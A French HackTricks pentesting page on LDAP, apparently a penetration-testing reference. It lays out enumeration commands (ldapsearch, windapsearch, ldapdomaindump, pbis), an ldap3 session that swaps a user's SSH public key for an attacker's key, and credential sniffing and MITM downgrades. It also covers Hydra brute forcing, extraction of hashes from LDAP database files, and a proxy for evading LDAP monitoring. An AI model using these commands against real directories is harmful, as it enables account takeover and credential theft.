389, 636, 3268, 3269 - Pentesting LDAP

Reading time: 14 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

L'utilisation de LDAP (Lightweight Directory Access Protocol) est principalement destinée à localiser diverses entités telles que des organisations, des individus et des ressources comme des fichiers et des dispositifs au sein des réseaux, tant publics que privés. Il offre une approche rationalisée par rapport à son prédécesseur, DAP, en ayant une empreinte de code plus petite.

Les annuaires LDAP sont structurés pour permettre leur distribution sur plusieurs serveurs, chaque serveur hébergeant une version répliquée et synchronisée de l'annuaire, appelée Agent de SystÚme d'Annuaire (DSA). La responsabilité de la gestion des demandes incombe entiÚrement au serveur LDAP, qui peut communiquer avec d'autres DSA si nécessaire pour fournir une réponse unifiée au demandeur.

L'organisation de l'annuaire LDAP ressemble à une hiérarchie d'arbre, commençant par le répertoire racine en haut. Cela se divise en pays, qui se subdivisent ensuite en organisations, puis en unités organisationnelles représentant diverses divisions ou départements, atteignant enfin le niveau des entités individuelles, y compris les personnes et les ressources partagées comme des fichiers et des imprimantes.

Port par défaut : 389 et 636 (ldaps). Le Catalogue Global (LDAP dans ActiveDirectory) est disponible par défaut sur les ports 3268 et 3269 pour LDAPS.

PORT    STATE SERVICE REASON
389/tcp open  ldap    syn-ack
636/tcp open  tcpwrapped

LDAP Data Interchange Format

LDIF (LDAP Data Interchange Format) définit le contenu du répertoire comme un ensemble d'enregistrements. Il peut également représenter des demandes de mise à jour (Ajouter, Modifier, Supprimer, Renommer).

bash
dn: dc=local
dc: local
objectClass: dcObject

dn: dc=moneycorp,dc=local
dc: moneycorp
objectClass: dcObject
objectClass: organization

dn ou=it,dc=moneycorp,dc=local
objectClass: organizationalUnit
ou: dev

dn: ou=marketing,dc=moneycorp,dc=local
objectClass: organizationalUnit
Ou: sales

dn: cn= ,ou= ,dc=moneycorp,dc=local
objectClass: personalData
cn:
sn:
gn:
uid:
ou:
mail: pepe@hacktricks.xyz
phone: 23627387495
  • Les lignes 1-3 dĂ©finissent le domaine de premier niveau local
  • Les lignes 5-8 dĂ©finissent le domaine de premier niveau moneycorp (moneycorp.local)
  • Les lignes 10-16 dĂ©finissent 2 unitĂ©s organisationnelles : dev et sales
  • Les lignes 18-26 crĂ©ent un objet du domaine et assignent des attributs avec des valeurs

Écrire des donnĂ©es

Notez que si vous pouvez modifier des valeurs, vous pourriez ĂȘtre en mesure d'effectuer des actions vraiment intĂ©ressantes. Par exemple, imaginez que vous pouvez changer l'information "sshPublicKey" de votre utilisateur ou de n'importe quel utilisateur. Il est trĂšs probable que si cet attribut existe, alors ssh lit les clĂ©s publiques depuis LDAP. Si vous pouvez modifier la clĂ© publique d'un utilisateur, vous pourrez vous connecter en tant que cet utilisateur mĂȘme si l'authentification par mot de passe n'est pas activĂ©e dans ssh.

bash
# Example from https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/
>>> import ldap3
>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True)
>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True)
>>> connection.bind()
True
>>> connection.extend.standard.who_am_i()
u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]})

Sniffer les identifiants en texte clair

Si LDAP est utilisé sans SSL, vous pouvez sniffer les identifiants en texte clair dans le réseau.

De plus, vous pouvez effectuer une attaque MITM dans le réseau entre le serveur LDAP et le client. Ici, vous pouvez réaliser une attaque de rétrogradation afin que le client utilise les identifiants en texte clair pour se connecter.

Si SSL est utilisé, vous pouvez essayer de faire un MITM comme mentionné ci-dessus, mais en offrant un faux certificat. Si l'utilisateur l'accepte, vous pouvez rétrograder la méthode d'authentification et voir à nouveau les identifiants.

AccĂšs anonyme

Contourner la vérification SNI TLS

Selon cet article, simplement en accédant au serveur LDAP avec un nom de domaine arbitraire (comme company.com), il a pu contacter le service LDAP et extraire des informations en tant qu'utilisateur anonyme :

bash
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +

LDAP anonymous binds

LDAP anonymous binds permettent aux attaquants non authentifiĂ©s de rĂ©cupĂ©rer des informations du domaine, telles qu'une liste complĂšte d'utilisateurs, de groupes, d'ordinateurs, d'attributs de compte utilisateur et de la politique de mot de passe du domaine. C'est une configuration hĂ©ritĂ©e, et depuis Windows Server 2003, seuls les utilisateurs authentifiĂ©s sont autorisĂ©s Ă  initier des requĂȘtes LDAP.
Cependant, les administrateurs ont pu avoir besoin de configurer une application particuliÚre pour permettre les connexions anonymes et ont donné plus d'accÚs que prévu, permettant ainsi aux utilisateurs non authentifiés d'accéder à tous les objets dans AD.

Valid Credentials

Si vous avez des identifiants valides pour vous connecter au serveur LDAP, vous pouvez extraire toutes les informations sur le Domain Admin en utilisant :

ldapdomaindump

bash
pip3 install ldapdomaindump
ldapdomaindump <IP> [-r <IP>] -u '<domain>\<username>' -p '<password>' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir]

Brute Force

ÉnumĂ©ration

Automatisé

En utilisant cela, vous pourrez voir les informations publiques (comme le nom de domaine):

bash
nmap -n -sV --script "ldap* and not brute" <IP> #Using anonymous credentials

Python

Voir l'énumération LDAP avec python

Vous pouvez essayer d'énumérer un LDAP avec ou sans identifiants en utilisant python : pip3 install ldap3

Tout d'abord, essayez de vous connecter sans identifiants :

bash
>>> import ldap3
>>> server = ldap3.Server('x.X.x.X', get_info = ldap3.ALL, port =636, use_ssl = True)
>>> connection = ldap3.Connection(server)
>>> connection.bind()
True
>>> server.info

Si la réponse est True comme dans l'exemple précédent, vous pouvez obtenir des données intéressantes du serveur LDAP (comme le contexte de nommage ou le nom de domaine) à partir de :

bash
>>> server.info
DSA info (from DSE):
Supported LDAP versions: 3
Naming contexts:
dc=DOMAIN,dc=DOMAIN

Une fois que vous avez le contexte de nommage, vous pouvez effectuer des requĂȘtes plus intĂ©ressantes. Cette requĂȘte simple devrait vous montrer tous les objets dans le rĂ©pertoire :

bash
>>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=*))', search_scope='SUBTREE', attributes='*')
True
>> connection.entries

Ou dump tout l'ldap :

bash
>> connection.search(search_base='DC=DOMAIN,DC=DOMAIN', search_filter='(&(objectClass=person))', search_scope='SUBTREE', attributes='userPassword')
True
>>> connection.entries

windapsearch

Windapsearch est un script Python utile pour Ă©numĂ©rer les utilisateurs, groupes et ordinateurs d'un domaine Windows en utilisant des requĂȘtes LDAP.

bash
# Get computers
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
# Get groups
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups
# Get users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Domain Admins
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da
# Get Privileged Users
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users

ldapsearch

VĂ©rifiez les identifiants nuls ou si vos identifiants sont valides :

bash
ldapsearch -x -H ldap://<IP> -D '' -w '' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
bash
# CREDENTIALS NOT VALID RESPONSE
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090A4C, comment: In order to perform this opera
tion a successful bind must be completed on the connection., data 0, v3839

Si vous trouvez quelque chose disant que le "bind doit ĂȘtre complĂ©tĂ©" signifie que les identifiants sont incorrects.

Vous pouvez extraire tout d'un domaine en utilisant :

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given

Extraire utilisateurs :

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"
#Example: ldapsearch -x -H ldap://<IP> -D 'MYDOM\john' -w 'johnpassw' -b "CN=Users,DC=mydom,DC=local"

ordinateurs

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraire mes informations :

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraire Domain Admins :

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraire Domain Users :

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Users,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Extraire Enterprise Admins :

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TLD>"

Administrateurs:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Groupe de Bureau Ă  Distance:

bash
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"

Pour voir si vous avez accĂšs Ă  un mot de passe, vous pouvez utiliser grep aprĂšs avoir exĂ©cutĂ© l'une des requĂȘtes :

bash
<ldapsearchcmd...> | grep -i -A2 -B2 "userpas"

Veuillez noter que les mots de passe que vous pouvez trouver ici pourraient ne pas ĂȘtre les rĂ©els...

pbis

Vous pouvez télécharger pbis ici : https://github.com/BeyondTrust/pbis-open/ et il est généralement installé dans /opt/pbis.
Pbis vous permet d'obtenir des informations de base facilement :

bash
#Read keytab file
./klist -k /etc/krb5.keytab

#Get known domains info
./get-status
./lsa get-status

#Get basic metrics
./get-metrics
./lsa get-metrics

#Get users
./enum-users
./lsa enum-users

#Get groups
./enum-groups
./lsa enum-groups

#Get all kind of objects
./enum-objects
./lsa enum-objects

#Get groups of a user
./list-groups-for-user <username>
./lsa list-groups-for-user <username>
#Get groups of each user
./enum-users | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do ./list-groups-for-user "$name"; echo -e "========================\n"; done

#Get users of a group
./enum-members --by-name "domain admins"
./lsa enum-members --by-name "domain admins"
#Get users of each group
./enum-groups | grep "Name:" | sed -e "s,\\\,\\\\\\\,g" | awk '{print $2}' | while read name; do echo "$name"; ./enum-members --by-name "$name"; echo -e "========================\n"; done

#Get description of each user
./adtool -a search-user --name CN="*" --keytab=/etc/krb5.keytab -n <Username> | grep "CN" | while read line; do
echo "$line";
./adtool --keytab=/etc/krb5.keytab -n <username> -a lookup-object --dn="$line" --attr "description";
echo "======================"
done

Interface Graphique

Apache Directory

Téléchargez Apache Directory ici. Vous pouvez trouver un exemple d'utilisation de cet outil ici.

jxplorer

Vous pouvez télécharger une interface graphique avec un serveur LDAP ici : http://www.jxplorer.org/downloads/users.html

Par défaut, il est installé dans : /opt/jxplorer

Godap

Godap est une interface utilisateur de terminal interactive pour LDAP qui peut ĂȘtre utilisĂ©e pour interagir avec des objets et des attributs dans AD et d'autres serveurs LDAP. Il est disponible pour Windows, Linux et MacOS et prend en charge les liaisons simples, pass-the-hash, pass-the-ticket et pass-the-cert, ainsi que plusieurs autres fonctionnalitĂ©s spĂ©cialisĂ©es telles que la recherche/crĂ©ation/changement/suppression d'objets, l'ajout/retrait d'utilisateurs dans des groupes, le changement de mots de passe, l'Ă©dition des permissions d'objet (DACLs), la modification de DNS intĂ©grĂ© Ă  Active Directory (ADIDNS), l'exportation vers des fichiers JSON, etc.

Vous pouvez y accéder à https://github.com/Macmod/godap. Pour des exemples d'utilisation et des instructions, lisez le Wiki.

Ldapx

Ldapx est un proxy LDAP flexible qui peut ĂȘtre utilisĂ© pour inspecter et transformer le trafic LDAP d'autres outils. Il peut ĂȘtre utilisĂ© pour obfusquer le trafic LDAP afin de tenter de contourner les outils de protection de l'identitĂ© et de surveillance LDAP et implĂ©mente la plupart des mĂ©thodes prĂ©sentĂ©es dans la prĂ©sentation MaLDAPtive.

Vous pouvez l'obtenir Ă  partir de https://github.com/Macmod/ldapx.

Authentification via kerberos

En utilisant ldapsearch, vous pouvez vous authentifier contre kerberos au lieu de via NTLM en utilisant le paramĂštre -Y GSSAPI

POST

Si vous pouvez accĂ©der aux fichiers oĂč les bases de donnĂ©es sont contenues (cela pourrait ĂȘtre dans /var/lib/ldap). Vous pouvez extraire les hachages en utilisant :

bash
cat /var/lib/ldap/*.bdb | grep -i -a -E -o "description.*" | sort | uniq -u

Vous pouvez alimenter john avec le mot de passe hash (de '{SSHA}' Ă  'structural' sans ajouter 'structural').

Fichiers de Configuration

  • GĂ©nĂ©ral
  • containers.ldif
  • ldap.cfg
  • ldap.conf
  • ldap.xml
  • ldap-config.xml
  • ldap-realm.xml
  • slapd.conf
  • IBM SecureWay V3 server
  • V3.sas.oc
  • Microsoft Active Directory server
  • msadClassesAttrs.ldif
  • Netscape Directory Server 4
  • nsslapd.sas_at.conf
  • nsslapd.sas_oc.conf
  • OpenLDAP directory server
  • slapd.sas_at.conf
  • slapd.sas_oc.conf
  • Sun ONE Directory Server 5.1
  • 75sas.ldif

HackTricks Commandes Automatiques

Protocol_Name: LDAP    #Protocol Abbreviation if there is one.
Port_Number:  389,636     #Comma separated if there is more than one.
Protocol_Description: Lightweight Directory Access Protocol         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for LDAP
Note: |
The use of LDAP (Lightweight Directory Access Protocol) is mainly for locating various entities such as organizations, individuals, and resources like files and devices within networks, both public and private. It offers a streamlined approach compared to its predecessor, DAP, by having a smaller code footprint.

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ldap.html

Entry_2:
Name: Banner Grab
Description: Grab LDAP Banner
Command: nmap -p 389 --script ldap-search -Pn {IP}

Entry_3:
Name: LdapSearch
Description: Base LdapSearch
Command: ldapsearch -H ldap://{IP} -x

Entry_4:
Name: LdapSearch Naming Context Dump
Description: Attempt to get LDAP Naming Context
Command: ldapsearch -H ldap://{IP} -x -s base namingcontexts

Entry_5:
Name: LdapSearch Big Dump
Description: Need Naming Context to do big dump
Command: ldapsearch -H ldap://{IP} -x -b "{Naming_Context}"

Entry_6:
Name: Hydra Brute Force
Description: Need User
Command: hydra -l {Username} -P {Big_Passwordlist} {IP} ldap2 -V -f

Entry_7:
Name: Netexec LDAP BloodHound
Command: nxc ldap <IP> -u <USERNAME> -p <PASSWORD> --bloodhound -c All -d <DOMAIN.LOCAL> --dns-server <IP> --dns-tcp

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks